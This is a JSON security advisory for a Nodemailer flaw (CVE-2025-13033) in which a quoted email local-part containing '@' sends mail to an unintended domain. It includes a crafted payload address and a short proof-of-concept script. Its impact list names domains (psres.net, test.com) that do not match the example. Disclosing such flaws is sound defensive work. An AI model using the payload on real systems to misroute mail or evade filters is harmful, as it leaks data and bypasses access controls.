{"id":"GHSA-mm7p-fcc7-pg87","summary":"Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict","details":"The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.\n\nPayload: `\"xclow3n@gmail.com x\"@internal.domain`\nUsing the following code to send mail\n```\nconst nodemailer = require(\"nodemailer\");\n\nlet transporter = nodemailer.createTransport({\n  service: \"gmail\",\n  auth: {\n    user: \"\",\n    pass: \"\",\n  },\n});\n\nlet mailOptions = {\n  from: '\"Test Sender\" \u003cyour_email@gmail.com\u003e', \n  to: \"\\\"xclow3n@gmail.com x\\\"@internal.domain\",\n  subject: \"Hello from Nodemailer\",\n  text: \"This is a test email sent using Gmail SMTP and Nodemailer!\",\n};\n\ntransporter.sendMail(mailOptions, (error, info) =\u003e {\n  if (error) {\n    return console.log(\"Error: \", error);\n  }\n  console.log(\"Message sent: %s\", info.messageId);\n\n});\n\n\n(async () =\u003e {\n  const parser = await import(\"@sparser/email-address-parser\");\n  const { EmailAddress, ParsingOptions } = parser.default;\n  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);\n\n  if (!parsed) {\n    console.error(\"Invalid email address:\", mailOptions.to);\n    return;\n  }\n\n  console.log(\"Parsed email:\", {\n    address: `${parsed.localPart}@${parsed.domain}`,\n    local: parsed.localPart,\n    domain: parsed.domain,\n  });\n})();\n```\n\nRunning the script and seeing how this mail is parsed according to RFC\n\n```\nParsed email: {\n  address: '\"xclow3n@gmail.com x\"@internal.domain',\n  local: '\"xclow3n@gmail.com x\"',\n  domain: 'internal.domain'\n}\n```\n\nBut the email is sent to `xclow3n@gmail.com`\n\n\u003cimg width=\"2128\" height=\"439\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d\" /\u003e\n\n\n### Impact:\n\n-    Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.\n\n-    Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.\n\n-    Potential compliance issue: Violates RFC 5321/5322 parsing rules.\n\n-    Domain based access control bypass in downstream applications using your library to send mails\n\n### Recommendations\n\n-    Fix parser to correctly treat quoted local-parts per RFC 5321/5322.\n\n-    Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.","aliases":["CVE-2025-13033"],"modified":"2026-07-17T21:13:54.654332471Z","published":"2025-10-07T13:42:02Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-20","CWE-436"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2025-10-07T13:42:02Z"},"references":[{"type":"WEB","url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-13033"},{"type":"WEB","url":"https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2025-13033"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2402179"},{"type":"PACKAGE","url":"https://github.com/nodemailer/nodemailer"}],"affected":[{"package":{"name":"nodemailer","ecosystem":"npm","purl":"pkg:npm/nodemailer"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.0.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-mm7p-fcc7-pg87/GHSA-mm7p-fcc7-pg87.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"}]}